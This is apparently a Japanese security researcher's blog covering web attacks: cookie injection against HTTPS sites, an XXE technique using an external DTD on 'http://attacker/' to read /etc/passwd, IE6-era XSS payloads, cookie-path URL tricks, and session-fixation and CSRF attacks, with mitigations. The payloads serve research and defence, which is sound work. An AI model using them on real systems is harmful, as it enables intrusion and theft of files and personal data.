「パターン2:スラッシュが先頭に付けられる場合」でみたように、上の3Dの "/" を "\" にするなどのバリエーションがあります。

テストしたブラウザ

IE8、Firefox3.6、Opera10、Safari5、Chrome9(いずれもWindows Vista版)。

IshibashiTsuyoshiIshibashiTsuyoshi 2013/07/14 15:26 ご無沙汰してます!ご存知だと思いますけど、こんな変種に気づいてちょっと興奮したのでコメント残してきます。前方一致チェックかつコロンを許容してるケースは滅多にないと思いますが・・・ http://www.hatena.ne.jp:80@example.com/

IshibashiTsuyoshiIshibashiTsuyoshi 2013/07/14 15:39 5/10の記事で触れられてましたね!(>_<)

2011-02-06

[]他人のCookieを操作する 22:58 他人のCookieを操作するを含むブックマーク

脆弱性検査をしていてしばしば出くわすのは、他人のCookieの値を操作できるとXSSやセッション固定等の攻撃が成功するようなWebアプリケーションです。

このようなアプリがあると、業界的には「Cookie Monsterという問題がありまして、、、でも、、、基本的に現状のブラウザではリスクは低いです」みたいな話がされることが多いのではないかと思います。

本日の日記では、それ(Cookie Monster)以外にも状況によっては考慮すべきことがある、という話をしたいと思います(過去の日記でも少し書いた話ですが、もう少しちゃんと書いておこうと思います)。

通信経路上に攻撃者がいる

被害者のブラウザとサーバの通信経路上に、アクティブな攻撃者がいると想定しましょう。

そのような状況では、攻撃者は正規のサーバになりかわってブラウザと通信をしたり、ブラウザと正規のサーバで交わされる通信に介入することができます。もちろんそれが可能なのは、通信がHTTP(SSLではないということ)の場合に限られます。

言うまでもなく、そのような状況では、攻撃者は対象サイトのCookieを被害者のブラウザにセットすることができます。

HTTPを使うサイトの場合

通信経路上に攻撃者がいる状況では、そもそもCookieをブラウザにセットできるという以前に、攻撃者はHTTPのリクエスト・レスポンスを好きに盗聴・改竄できます。

WebサイトがHTTPを使用しており、通信経路上に攻撃者がいるリスクを考慮しないと決めている場合には、通信経路上の攻撃者によりCookieがセットされるリスクもまた考慮する必要はありません。

問題は、WebサイトがHTTPではなくHTTPSを使用している場合です。

HTTPSを使うサイトの場合

世の中には、通信経路に攻撃者がいてもセキュアで無ければならないサイトもあります。そのようなサイトは通常HTTPSを使用します。

HTTPSのサイトでは、以下のような攻撃のリスクを考慮する必要があります。

  1. 被害者をHTTPで対象サイトにアクセスさせる
    攻撃者が通信経路上にいる場合、これは難しいことではありません。攻撃者は偽のSet-Cookieを含む応答を被害者のブラウザに返し、そのままHTTPSのページにリダイレクトさせます。
  2. 被害者はHTTPSで対象サイトにアクセスする
    このリクエストでは1でセットされたCookieがサーバに送られてしまいます。

3点ほど補足します。

1点目は、上の(1)のリクエストはHTTPであり、セキュリティ警告のポップアップ等を出すことなく被害者のレスポンスを偽造しCookieを汚染することができるということです。

2点目は、対象サイトがHTTPSだけしか使っておらず、したがってHTTPのポートを開けていないとしても、(1)の攻撃は可能だということです。途中にいる攻撃者はHTTPが開いているかのごとくブラウザに応答することができるからです。

3点目は、(1)のCookieはHTTPでセットされたものですが、(2)のHTTPSのリクエストでサーバに送られてしまうということです。Cookieの仕組み上そうなってしまいますし、HTTPのCookieとHTTPSのCookieは区別することもできません。

CookieでXSSする脆弱性がWebアプリにあるならば、通信経路上の攻撃者が上の(1)でCookieに植えつけた攻撃コードが(2)の応答で実行されます。ここで重要なのは、(2)がHTTPSであり、HTTPSのコンテキストでJavaScriptが実行されてしまうということです。

つまり通信経路上の攻撃者が、セキュア属性付きのCookieを盗んだり、HTTPSのページの内容を盗んだり改竄したりできるということになります(もはやCross-Site Scriptingとはいえない攻撃ではありますが、リスクとして考慮すべき攻撃です)。

XSSではなくセッション固定の脆弱性がWebアプリにあるならば、通信経路上の攻撃者がHTTPSで保護されたセッションを固定化し、なりすまし等ができるということになります。

まとめ

まとめると、通信経路に攻撃者がいてもセキュアであるべきサイト(HTTPSのサイト)については、「他人のCookieは操作できない」という前提でセキュリティを考えることはできないということです。

理由は(「Cookie Monster」等とは関係なく)、HTTPの通信に介入できる攻撃者はCookieを操作できるからです。

[]GoogleのReward Program 17:26 GoogleのReward Programを含むブックマーク

少し前の話ですが、Googleが自身のWebサイトの脆弱性発見者に対して、報酬(現金 500 USD以上)を支払うプログラムをはじめています。

Google Online Security Blog: Rewarding web application security research

過去にも、脆弱性の発見者に報酬を支払うプログラムはありましたが、Webブラウザ等のソフトウェアの脆弱性が対象でした(参考)。

今回のプログラムでは、Webアプリの脆弱性が対象だというところが特色です。しかも、実際に運用されている本番のGoogleサイトの脆弱性が対象です。その脆弱性の発見者に報奨金を払うということは、(一定の制約は設けていますが)基本的に自由に本番サイトの検査をしてよいといっているわけです。

実際にやってみる

Webアプリの診断をやっているものにとっては、これ以上のお小遣い稼ぎはない!と思って私も参加してみました。20〜30ページくらい見れば、XSSくらいは簡単に見つかるだろうと思っていたのもあります。

ですが、始めてすぐに、さすがにGoogleというべきか、trivialな脆弱性はまず見つからないだろうということに気が付きました。かなり堅い作りがされているということです。しかも、自動検査ツールは使えないし(使ってはならないと決められている)、JavaScriptは殆どminifyされているし・・・ということで、脆弱性を探すのはかなり骨がおれる作業になりました。

結局、数日かけてなんとか2件脆弱性を発見して報告しました。発見した脆弱性の内容は修正完了後に公開してよいことになっています。私が発見した2件は、まだ一部直っていないものがあるようです。修正されたら公開しようと思います(Googleも公開することを推奨しています)。

報告〜お金を受け取るまでの流れ

Reward Programに興味のある方もいると思いますので、報告〜お金を受け取るまで書いてみます。

まずはレポートです。発見した脆弱性の内容を英語で書いて、メールで報告しました。報告先のメールアドレスはこちらに書かれています。

今回は報告した2件とも、報奨対象の脆弱性と認められました(ものによっては対象外とみなされることもあるようです)。

脆弱性を報告してから1週間もたたないうちに、

Congratulations! The panel has decided to award you $1000 for the vulnerability.

というようなメールが来ました。いかにも怪しい書き出しのメールですが本物です。今回は、報告した2件のうち1件(XSS)は1,000 USD、もう1件(ロジック系)は500 USDということでした。金額は、脆弱性の危険度や"賢さ度合い"によって決まるとのこと。

あとは報酬の受け取りです。Googleから手順を書いたメールが来るので、その通りにすればよいのですが、少々手間です。

まずは、Googleのサイトでsupplier登録します。Googleに対して物品やサービスを納品するベンダ(会社や個人事業主)として登録することで、Googleから支払いを受けられるようになるわけです。ここでは氏名や銀行口座等を登録します。受け取るお金は米ドルですが、銀行に問い合わせたところ、通常の円建ての普通口座でも問題なく受け取れる(日本円になって入金される)ということだったので、私は日本の銀行の普通口座を登録しました。

次にW8BENフォームの提出を求められました。W-8BENフォームの記入方法(書き方)を参考にしてPDFのフォームに記入してプリントアウトし、手書きで署名したものをスキャナーで読み込んで、メール添付で送りました。

このW8BENを提出すると、私のように米国外に居住している人間は、米国で所得税を源泉徴収されなくなります。しかし、日本での納税の義務はあります(私のようなサラリーマンなら、給与以外の所得は年間20万円まで非課税だと思いますが、各々確認ください)。

最後に、脆弱性の報告者として自身の名前を公表して欲しい場合はその旨を連絡します。名前はこのページに載りました(私以外にも日本人ぽい名前がのってます)。

なお、お金の方はW8BENを送ってから3週間ほどで「振り込んだよ」というメールが来ました。確認したところ口座に入金されていました。

実際にやる場合は

以下のページに色々と注意事項などが書いてありますので、まずは一読を。

Google Online Security Blog: Rewarding web application security research

Program Rules ? Application Security ? Google

2010-07-03

[]属性値のXXE攻撃 15:25 属性値のXXE攻撃を含むブックマーク

以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222
ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)
属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1

#ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。

2010-06-12

[]HTML PurifierのSecurity Fix 03:19 HTML PurifierのSecurity Fixを含むブックマーク

HTML Purifierの4.1.1がリリースされました。今回のリリースには1件のSecurity Fixが含まれています。今日はその内容について少し書きます。

IEのCSSのurl()の扱い

以下のようなstyle属性があったとき、ブラウザはどのように解釈するでしょうか?

<span style="background: url('http://host/aaa\'\);color:red;')">111</span>

Firefox、Opera、Safariでは、「http://host/aaa');color:red;」というURIをもつbackgroundプロパティと解釈します。したがってcolorプロパティが有効になることはありません。これはCSSの仕様から見ても至極妥当な挙動です。

ところがIEだけが違う解釈をします。IEで上記のHTMLを表示させると、backgroundプロパティのURI値は「http://host/aaa\'\」と解釈されます。そして、その後ろのcolorプロパティが有効となり「111」という文字は赤字で表示されます。

このように、IEはurl()内の文字列リテラルにおいて「\」によるエスケープを解釈しません。HTML Purifierの4.1.1未満にあった脆弱性は、IEのこのような特異な解釈(バグ)を適切にハンドリングできないというものでした。

font-familyプロパティ

font-familyプロパティでも「'」または「"」で括ったリテラルが使用可能です。

こちらはどうなのか以下のHTMLで試してみます。

<span id="s1" style="font-family: 'aaa\';color:red;'">111</span>

<script>
alert(document.getElementById('s1').style.fontFamily);
</script>

このHTMLをIEで表示すると、他のブラウザと同じく「'aaa';color;red;'」がalertされます。つまり、font-familyについていえば、IEも「\」によるエスケープ構文をサポートしているということになります。

ならばurl()でも「\」エスケープをサポートすればよさそうなものですが、上で説明したようにそうはなっていません。ひょっとしたら、url()では「C:\terada\...」のようなパスが使われる可能性を考慮して、「\」エスケープを解釈しないのかも…と推測していますが、真相はわかりません。

とられた対策

HTML Purifier 4.1.1では以下の対策がとられました。

Rewrite CSS url() and font-family output logic.

The new logic is as follows:

  • Given a URL to insert into url(), check that it is properly URL encoded (in particular, a doublequote and backslash never occurs within it) and then place it as url("http://example.com").
  • Given a font name, if it is strictly alphanumeric, it is safe to omit quotes. Otherwise, wrap in double quotes and replace '"' with '\22 ' (note trailing space) and '\' with '\5C ' (ditto).

Public Git Hosting - htmlpurifier.git/commit

実はこの対策は私が提案したものがベースになっていたりします(Release Noteにcreditしてくれました。脆弱性自体はMario Heiderich氏が報告したようです)。

IEの挙動が変わらない限り、このようなちょっと面倒な対処をせざるをえないと思います。

[]JavaScriptの文字列リテラルでXSS 05:14 JavaScriptの文字列リテラルでXSSを含むブックマーク

たまに以下のようにJavaScriptの文字列リテラルに値が入るアプリを見ることがあります。

<script>
var foo="●";
...
</script>

値は「●」の箇所にHTMLエスケープされて出力されます(下の方の例も同じ)。

こんなケースでどうXSSするか?という話です。

簡単にXSSできるケース

以下のパターンだとXSSするのは簡単です。

<script>
var foo="●"; var bar="●"; ...
</script>

?foo=\&bar=-alert(123)//のような値を与えるだけです。

難しいケース

次はこんなパターンを考えます。

<script>
var foo="●";
var bar="●";
...
</script>

こうなると難易度はぐっと上がります。というよりも、ほとんどの場合はXSSできません。

しかし、状況次第ではXSSできることもあります。

攻撃方法

HTMLの文字コードにはUTF-8が指定されているものの、UTF-8として不正なバイトシーケンスがHTMLに出力できる状況であるとします。

そんな状況ならば、?foo=%F0&bar=-alert(123)//のような値を与えることでXSSできます。

%F0(0xF0)はUTF-8の4バイト文字の先頭バイトです。IE6だと%F0の後ろの3バイトを食いつぶしてくれます。JavaScriptコード上で、[0xF0]の後ろに「"」(0x22)、「;」(0x3B)、LF(0x0A)の3バイトがありますが、それらがうまいこと食いつぶされるということになります。

HTMLの改行文字がLFではなくCR LFならば、後ろの4バイトを食いつぶすために、UTF-8の「5バイト文字」を使う必要があります。厳密にいうと「5バイト文字」というのは規格上存在しませんが、IE6には存在するようで、fooに「%F8」を入れれば後ろの4バイトが食いつぶされてうまくXSSできます。

IE6+UTF-8での"食いつぶし"

余談ですがIE6のUTF-8処理はかなりユニークです。

ここでは「©」(U+00A9)という文字をとりあげて説明します。

この文字は、UTF-8でエンコードすると[0xC2][0xA9]というバイトになります。これを2進数(ビット)であらわすと、以下のようになります。

0xC2     0xA9
11000010 10101001

UTF-8では2バイト目以降の先頭2ビット(上の赤字部分)は「10」で固定です。固定なので、コードポイントを示すデータではなく、「2バイト目以降である」ことを示す意味しか持っていません。とらえようによってはどうでもいい部分ということです。

IE6のUTF-8デコーダは、この2ビットを無視してデコードします。これを利用すると、ある文字を複数のバイト列で表現することができます。

11000010 00101001 ←0xC2 0x29
11000010 01101001 ←0xC2 0x69
11000010 10101001 ←0xC2 0xA9(ただしいU+00A9)
11000010 11101001 ←0xC2 0xE9

IE6は、上の4つのバイト表現をすべて「©」(U+00A9)と解釈してしまいます。

このようにIE6のデコーダはかなりルーズにできています。それもあって、直後の1バイトが食いつぶされるだけでなく、先の例のように3バイト(もしくはそれ以上)が食いつぶされるような現象が発生します。

その他の方法

UTF-8以外ではどうかというと、(IE6・IE7では)EUC-JPの場合にXSSを成功させることができます。

しかも、UTF-8では「foo」「bar」の2つの変数を制御できなければ攻撃は成功しませんが、EUC-JPでは1つの変数に任意のバイトを入れられるだけで攻撃可能です。出力される箇所がSCRIPTタグの中でなくてもかまいません。

詳細はあえて割愛しますが、EUC-JPのデコーダもかなりおかしなことになっています。IE8ではかなり改善されていますが、それでもまだ中途半端なところがあります。

トラックバック - http://d.hatena.ne.jp/teracc/20100612

2010-05-11

[]CookieのPath 22:43 CookieのPathを含むブックマーク

遅ればせながら、高木さんの日記を見ました。

高木浩光@自宅の日記 - 共用SSLサーバの危険性が理解されていない

CookieのPath指定がセキュリティ上意味を持たない件について書かれています。

日記に書かれたIFRAMEを使う方法で既に「詰み」なのですが、もうちょっと別の方法(JavaScriptを使わない方法)について書きます。

URLを細工する

被害者の「http://example.jp/aaa/」のCookieを「http://example.jp/bbb/」から取得することを考えます。攻撃者は「/bbb/foo.cgi」というCGIを置いて、被害者に以下のようなURLを踏ませます。

URL1: http://example.jp/aaa/%2E./bbb/foo.cgi
URL2: http://example.jp/aaa/..%2Fbbb/foo.cgi

※ %2Eは「.」を、%2Fは「/」をURLエンコードしたもの

例えば、IE6やSafari4でURL1を踏むと、ブラウザはfoo.cgiが「/aaa/」の下層にあるとみなすため「path=/aaa/」のCookieをサーバに送ります。一方で、たいていのWebサーバはURL1の「%2E./」を「../」と解釈するため、「/aaa/%2E./bbb/foo.cgi」を「/bbb/foo.cgi」にマップします。つまり、「path=/aaa/」のCookieを「/bbb/」以下のプログラムから参照できるということです。

URL2も同じです。たいていのブラウザ(IE6〜8やFirefox3)でURL2を踏むと、URL1と同じように「path=/aaa/」のCookieがサーバに送られます。一方で、IISやCoyoteなどの一部のWebサーバは、URL2に対するリクエストを「/bbb/foo.cgi」にマップします(ちなみにIISでは「%5C」を使うこともできます)。

攻撃への利用(1)

しかし、上述のようにIFRAMEを使う方法などでCookieを取ったり、(Cookieにhttponly属性が設定されている等の理由で)Cookieが取れなくても、IFRAMEやXMLHttpRequestを使ってページのデータを盗むことができます。

ですので、上のようなURLを細工するテクニックは本当に役に立たないトリビアでしかないわけですが、むかし一回だけあるサイトのDOM Based XSSの検査で役に立ったことがあります。

そのサイトのページのJavaScriptでは、document.URL(http://example.jp/XXX/hoge.html)から「XXX」の部分を切り出して、そのままdocumnt.write()していました。そのため、(少なくともIE6では)「XXX」にタグを入れたURLを作って被害者に踏ませればXSSするのですが、困ったことに「XXX」を操作すると404(Not Found)になります。

そんな状況で使ったのが「%2E./」です。具体的には「http://example.jp/(攻撃コード)/%2E./hoge.html」とすることで、404にならずに攻撃コードをJavaScriptに送り込むことができます。

あとは、(攻撃コード) の部分をどうするかを考えればよいのですが、実は意外とややこしいです。

攻撃コードはURLに入れなければならないために制約があります。スペース等の空白文字類は使えませんし、「/」を使うこともできません(JavaScriptがURLを「/」でsplitするため)。空白文字類と「/」が使えないということは、属性付きのタグや閉じタグを入れられないということです。

このような状況には極たまに遭遇するのですが、そんなときに使うのは「<style>body{a:expression(alert(123))}」のようなパターンです。閉じタグがなくて気持ち悪いですが、少なくともIE6では動いてくれます。

攻撃への利用(2)

またCookieとPathの話に戻ります。

先の例は、「URLを操作することで、本来はCookieが送信されないページに対して、Cookieを無理やり送信させる」ものでした。その逆で、「本来はCookieが送信されるページに、Cookieを送信させない」こともできます。非常に限定された状況では、攻撃者にとって「Cookieを送信させない」ことがメリットになることもあると思います。

例えば、Cookie Aは「path=/」に発行され、Cookie Bは「path=/test/」に発行されているとします。ブラウザがこの2つのCookieを持っているならば、「/test/foo.html」にアクセスするとA・Bの2つのCookieがサーバに送られます。

ところが、「//test/foo.html」のようなURL(スラッシュをダブらせる)に被害者をアクセスさせると、「path=/test/」のCookie Bはサーバに送られず、「path=/」のCookie Aだけがサーバに送られます。

このような状況が、攻撃者にとって得になるか?というと、そんなケースはあまりないと思います。ただ、「T.Teradaの日記 - セッションIDと認証チケット」に書いたような複数のCookieを使用しているサイトにおいて、アプリが何らかの問題を抱えているという条件下であれば、一部のCookieを送らせないことが攻撃者を手助けすることもあるかもしれません。

2010-05-02

[]セッションIDと認証チケット 08:44 セッションIDと認証チケットを含むブックマーク

以前の日記で、ASP.NETのセッション固定対策について書きました。

その結論をまとめると、

  • ASP.NETにはセッションIDを変更するまともな方法が存在しない。
  • そのため、ASP.NETではフォーム認証機構(FormsAuthentication)を使ってログイン状態管理を行うべき。
  • FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組み。

ということになります。

ASP.NETのサイトに限らず、セッション(PG言語やフレームワークに組み込みのセッション機構)と、認証チケットの両方を使用しているサイトはたまに見られます*1

特にポータルサイトのような大規模なサイトは、ログインをつかさどるシステムと、会員向けのブログや日記、ニュース、ショッピングなどの各種機能を提供する多数のサブシステム(開発言語やサーバの物理的な場所などはバラバラ)から構成されています*2。これらのシステムでSSO(Single Sign On)を実現するために、ログインをつかさどるシステムが認証チケットを発行し、各種会員向け機能を提供するサブシステムでは、サブシステム毎のデータを扱う個別のセッションと、認証チケットの両方を使用していることがあります。

本日はそのようなサイトで見られる脆弱性について書きたいと思います。ただし、いわゆるセッション機構と認証チケットの両方を使用するといっても、その使い方はサイトによって千差万別であり、脆弱性のあり方もまた千差万別です。あまり網羅性は気にせずに、思いつくままに書いていきたいと思います。

前提とするのはPCブラウザ向けのサイトです。認証チケット、セッションIDともにCookieに格納しているとします。ただし、WebアプリはGETパラメータで与えられた認証チケット・セッションIDも受け付けると仮定します(説明を判りやすくするため)。認証チケットは「AuthTicket」、セッションIDは「SessID」という名前であらわします。

1.セッションIDと認証チケットの両方を見るタイプ

まずは、セッションIDと認証チケットの両方を、関連付けることなく使用しているサイトをとりあげます。

つまり、ログイン後のページでは、認証チケットをデコードして会員IDを得る処理を都度行うとともに、それとは独立して仕掛りデータの保存用にセッション変数を使うアプリです。

ASP.NETのFormsAuthenticationを使った場合も、特に何も考えずにセッションを使用したならばこの状態となります。

例としてとりあげるのは、ログイン後に会員個人情報の変更を行うアプリです。このアプリでは、ユーザがフォームで入力した個人情報をセッション変数に一時保存します。変更完了処理では、セッション変数から個人情報を取り出して、それを会員に紐付けて会員情報DBに保存します。

1.1 セッション固定

このようなアプリでありがちなのはセッション固定の脆弱性です。

攻撃は、被害者が個人情報の入力を開始するよりも前に、被害者のブラウザにセッションIDを植えつけることからはじまります。

ただし、このアプリでは、セッションIDを固定化しても被害者のユーザになりすますことはできません。なりすますには認証チケットの方が必要で、なにか別の脆弱性でもない限り攻撃者はそれを入手することはできないからです。

しかし被害者は攻撃者が植えつけたセッションIDを持っており、被害者がフォームで入力した個人情報は、そのセッションIDに紐付いてセッション変数に保存されます。実際に、いま被害者は個人情報の入力を終えて確認画面を表示しており、セッション変数には被害者の個人情報が保存されているとします。攻撃者の狙いはこのデータを奪うことです。

このアプリでは、利用者が確認画面から入力画面に戻って情報を修正できるようにしており、このときセッション変数から情報を引き出してフォームに埋め込んだ画面をユーザに戻しているとします。

攻撃者はこの挙動を利用します。攻撃者は自ら以下のようなURLにアクセスします。

https://www.example.jp/inputProfileBack.cgi
        ?SessID=(被害者に使わせたセッションID)
        &AuthTicket=(攻撃者の認証チケット)

inputProfileBack.cgiは、(確認画面から戻って)個人情報を入力するフォームを表示するCGIです。

本来の正常なフローであれば、inputProfileBack.cgiはセッションID・認証チケットともに被害者のもの(Cookie)を受け取ります。しかし、前述のように攻撃者は被害者の認証チケットを入手することはできません。そのため、被害者の認証チケットの代わりに攻撃者の認証チケットを付けて入力画面にアクセスしています。何らかの認証チケットがないと、常にログイン画面にリダイレクトするようなアプリでは、このような小細工が必要です。

アプリ(inputProfileBack.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、アプリにとっては有効な認証チケットと、有効なセッションIDの両方を受け取ることになります。アプリは素直にセッション変数内にある被害者の個人情報を埋め込んだ画面を攻撃者に返してしまうでしょう。

1.2 別人でコミットさせる

セッションIDが都度変化するような対策が施されている場合には、1.1の攻撃は成功しません。しかし他の方法による攻撃が成功する場合もあります。

さきほどと同じく、ログイン後に個人情報を変更するアプリを取り上げます。被害者は、個人情報の入力を終えて確認画面を表示しているとします。被害者のセッション変数には、入力された被害者の個人情報が保存されており、攻撃者はこれを奪おうとしています。

攻撃者はまず、被害者に以下のURLを踏ませます。

https://login.example.jp/login.cgi
        ?UserID=evil&password=evilpass

login.cgiはログインを行うCGIです。このURLを踏まされた被害者は、攻撃者の会員アカウントである"evil"でログインした状態("evil"の認証チケットCookieを持つ状態)となります。

一方、被害者のセッション変数には相変わらず被害者の個人情報が入っています。したがって、このまま被害者に個人情報変更を完了させれば、セッション変数内の被害者の個人情報を、攻撃者アカウントのものにすることができるかもしれません。

被害者に個人情報変更を完了させるには、通常はCSRF対策を突破しなければなりません。CSRF対策方法にもいくつかの種類がありますが、このアプリではパスワードを入力させるタイプのCSRF対策が取られていたとします。そうであれば、CSRF対策を突破するのは簡単です。

被害者に以下のURLを踏ませます。

https://www.example.jp/commitProfileChange.cgi
        ?Password=evilpass

commitProfileChange.cgiは個人情報変更を確定させるCGIです。被害者は今や"evil"でログインした状態ですので、ここでは"evil"のパスワードである"evilpass"をパラメータとしてつければよいことになります。

先ほどの1.1と同じく、アプリ(commitProfileChange.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、セッション変数内の被害者の個人情報は、攻撃者の"evil"アカウントに紐付いて会員情報DBに保存されるでしょう。攻撃者は自分のアカウントである"evil"でログインして会員個人情報を参照するページに行けば、被害者の個人情報を盗み見ることができます。

ちなみに個人情報変更のCSRF対策として、パスワード以外のものを使うアプリも多くあります。そういう場合には、別のもう少し手のかかる方法を使って被害者に変更確定を強制できる場合もありますし、被害者が確認画面上の変更確定ボタンを押すのをじっと待つしかないこともあります。

なお、ここで書いたような攻撃(無理やり別人アカウントでログインさせた上で、変更をコミットさせる攻撃)は、認証チケットを使っているサイトでのみ成功するわけではありません。ルーズな処理を行っているならば、セッションだけを使っているサイトでも成功することがあります。

1.3 CSRF

今度はCSRF(Cross Site Request Forgery)攻撃です。今までと違って、攻撃者の狙いは被害者の情報を奪うことではなく、攻撃者が指定した値で被害者に個人情報変更を実行させることです。

認証チケットとセッションを併用するサイトにおいては、会員アカウントと紐付かないCSRF対策用のトークンを使用している問題に起因するCSRF脆弱性がしばしばみられます。

そのような問題を持つ場合、以下のような手順で攻撃が成功します。

まず、攻撃者は自らのアカウントでログインして個人情報変更の確認画面まで進めます。これにより、攻撃者のセッション変数には、攻撃者が入力した個人情報が保存されます。先ほどまでのアプリとは違い、このアプリではCSRF対策にワンタイムトークン(AntiCSRFToken)が使われているとしましょう。攻撃者は自身の確認画面のhiddenに入っているワンタイムトークンと、自身のセッションID(Cookie)をメモしておきます。

そして、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます(commitProfileChange.cgiは個人情報変更を確定させるCGIです)。

https://www.example.jp/commitProfileChange.cgi
        ?SessID=(攻撃者のセッションID)
        &AntiCSRFToken=(攻撃者のトークン)

被害者が罠を踏むと、サーバに送信される認証チケットCookieは被害者のものです。同時に送信されるセッションIDとCSRF対策用トークンは攻撃者のものです。

アプリが、セッションやトークンをアクセスしている会員と関連付けていない場合、アプリは受け取ったセッションIDとトークンを「妥当なペアである」と判断して、会員情報DBへの書き込み処理を進めようとするでしょう。アプリが受け取るセッションIDとトークンは、攻撃者が実際に自分のアカウントでログインして確認画面から取得した"本物"だからです。

攻撃者が入力した個人情報はセッション変数に入っています。これもアプリが会員と関連付けていないならば、この個人情報は被害者アカウントのものとして会員情報DBに登録されるでしょう。というのは、被害者が罠を踏んだ時にアプリに渡される認証チケットCookieは、被害者アカウントのものだからです。

2.最初だけ認証チケットを見るタイプ

「1.セッションIDと認証チケットの両方を見るタイプ」のアプリは、認証チケットとセッションの両方を、独立して使用するタイプのものでした。

それに対して、ここで取り上げる「2.最初だけ認証チケットを見るタイプ」のアプリは、最初のタイミングで認証チケットをデコードして会員IDを取り出し、それをセッション変数に保存します。既にセッション変数に会員IDが保存されている状況では、認証チケットは参照せずに、セッション変数の会員IDだけを見てアクセス者がどの会員なのかを識別します。

このようなアプリでも、セッション固定の脆弱性は多くみられます。

まず、攻撃者はWebサイトにアクセスしてセッションID Cookieを取得します。その後に、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます。

https://www.example.jp/id_init.cgi
        ?SessID=(攻撃者のセッションID)

id_init.cgiは、認証チケットをデコードして会員IDを取り出して、セッション変数に保存する処理を行うものだと思ってください。

攻撃者がつけたGETパラメータのセッションIDは、被害者の認証チケットCookieとともにWebアプリに送られます。アプリは認証チケットから被害者の会員IDを取り出して、それを攻撃者のセッション変数に保存してしまいます。

セッションIDがこのタイミングで変化しないならば、攻撃者はそのセッションIDを使ってアプリにアクセスすることで、被害者会員へのなりすましに成功します。

対策

様々な対策方法が考えられますが、なるべくシンプルなものを挙げます。まずは対策が簡単な「2.最初だけ認証チケットを見るタイプ」の対策から説明します。

「2.最初だけ認証チケットを見るタイプ」の対策

このタイプの対策は、通常のセッションのみを使うアプリと基本的に変わりません。

  1. ログイン時に、セッションIDを変更する。
  2. セッション変数内の情報をログイン時に消す。

ひとことでいうと、「ログイン時にセッションを再生成せよ」ということになります。

注意が必要なのは、ここでいう「ログイン」とは「認証チケットをデコードしてセッション変数に入れる」タイミングであるということです。また、2番目の「セッション変数内の情報をログイン時に消す」については、「1.2 別人でコミットさせる」のようなタイプの攻撃への対策として必要です。

「1.セッションIDと認証チケットの両方を見るタイプ」の対策

こちらは様々な対策方法がありますが、大きく分けて2つのアプローチがあると思います。

セッションと会員を関連付ける対策

既にみたように、このタイプのアプリへの攻撃の常とう手段は、セッションIDと認証チケットの片方を攻撃者のものに置き換えることです。ですので、両者をきちんと関連付けして、片方だけを置き換えられないようにしようというのが基本的な考え方です。

具体的には、会員と紐付けられるべき情報をセッション変数に出し入れする際に、(最低限)以下の処理を行います。

  1. 最初に、セッションがどの会員のものであるか、セッション変数に"しるし"をつける。
  2. 認証チケットが指し示す会員と、セッションに付けた"しるし"が異なる場合はエラーとする。

ASP.NETのFormsAuthenticationとセッションを同時に使う場合には、この方法をとるしかないと思います。

なお、セッションをまるごと会員と関連付けるのではなく、セッション変数内の個別の情報の単位で会員と関連付ける方法もあります。

セッションと会員を関連付けない対策

会員とセッションの関連付けをしないのならば、以下の対策が必要です。

